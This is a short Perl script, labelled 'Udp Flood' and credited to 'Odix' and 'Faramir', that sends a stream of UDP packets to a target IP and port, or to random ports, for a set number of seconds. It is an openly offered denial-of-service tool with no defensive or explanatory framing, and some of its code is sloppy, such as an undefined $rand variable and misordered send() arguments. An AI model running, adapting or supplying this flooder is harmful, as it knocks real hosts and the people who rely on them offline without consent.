#!/usr/bin/perl
#####################################################
# Udp Flood.
#
# gr33ts: odix, etc.
#
# By Odix and Edited by Faramir
######################################################

use Socket;

$ARGC=@ARGV;

if ($ARGC !=3) {
printf "$0 <ip> <port> <time>\n";
exit(1);
}

my ($ip,$port,$size,$time,$seg);
$cont = 0;
$ip=$ARGV[0];
$port=$ARGV[1];
$time=$ARGV[2];

socket(crazy, PF_INET, SOCK_DGRAM, 17);
   $iaddr = inet_aton("$ip");

printf "UDP Flood By Odix and Edited by Faramir.\n\n";
printf "Conectando em: ".$ip."\n";

if ($ARGV[1] ==0 && $ARGV[2] ==0) {
goto randpackets;
}
if ($ARGV[1] !=0 && $ARGV[2] !=0) {
#system("(sleep $time;killall -9 udp) &");
goto packets;
}
if ($ARGV[1] !=0 && $ARGV[2] ==0) {
goto packets;
}
if ($ARGV[1] ==0 && $ARGV[2] !=0) {
#system("(sleep $time;killall -9 udp) &");
goto randpackets;
}

packets:
$seg = time + $time;
while ($seg > time) {
$size=$rand x $rand x $rand;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
printf "Fim Da Conexao";
exit(1);

randpackets:
$seg = time + $time;
while ($seg > time) {
$size=$rand x $rand x $rand;
$port=int(rand 65000) +1;
send(crazy, 0, $size, sockaddr_in($port, $iaddr));
}
printf "Fim Da Conexao";
exit(1);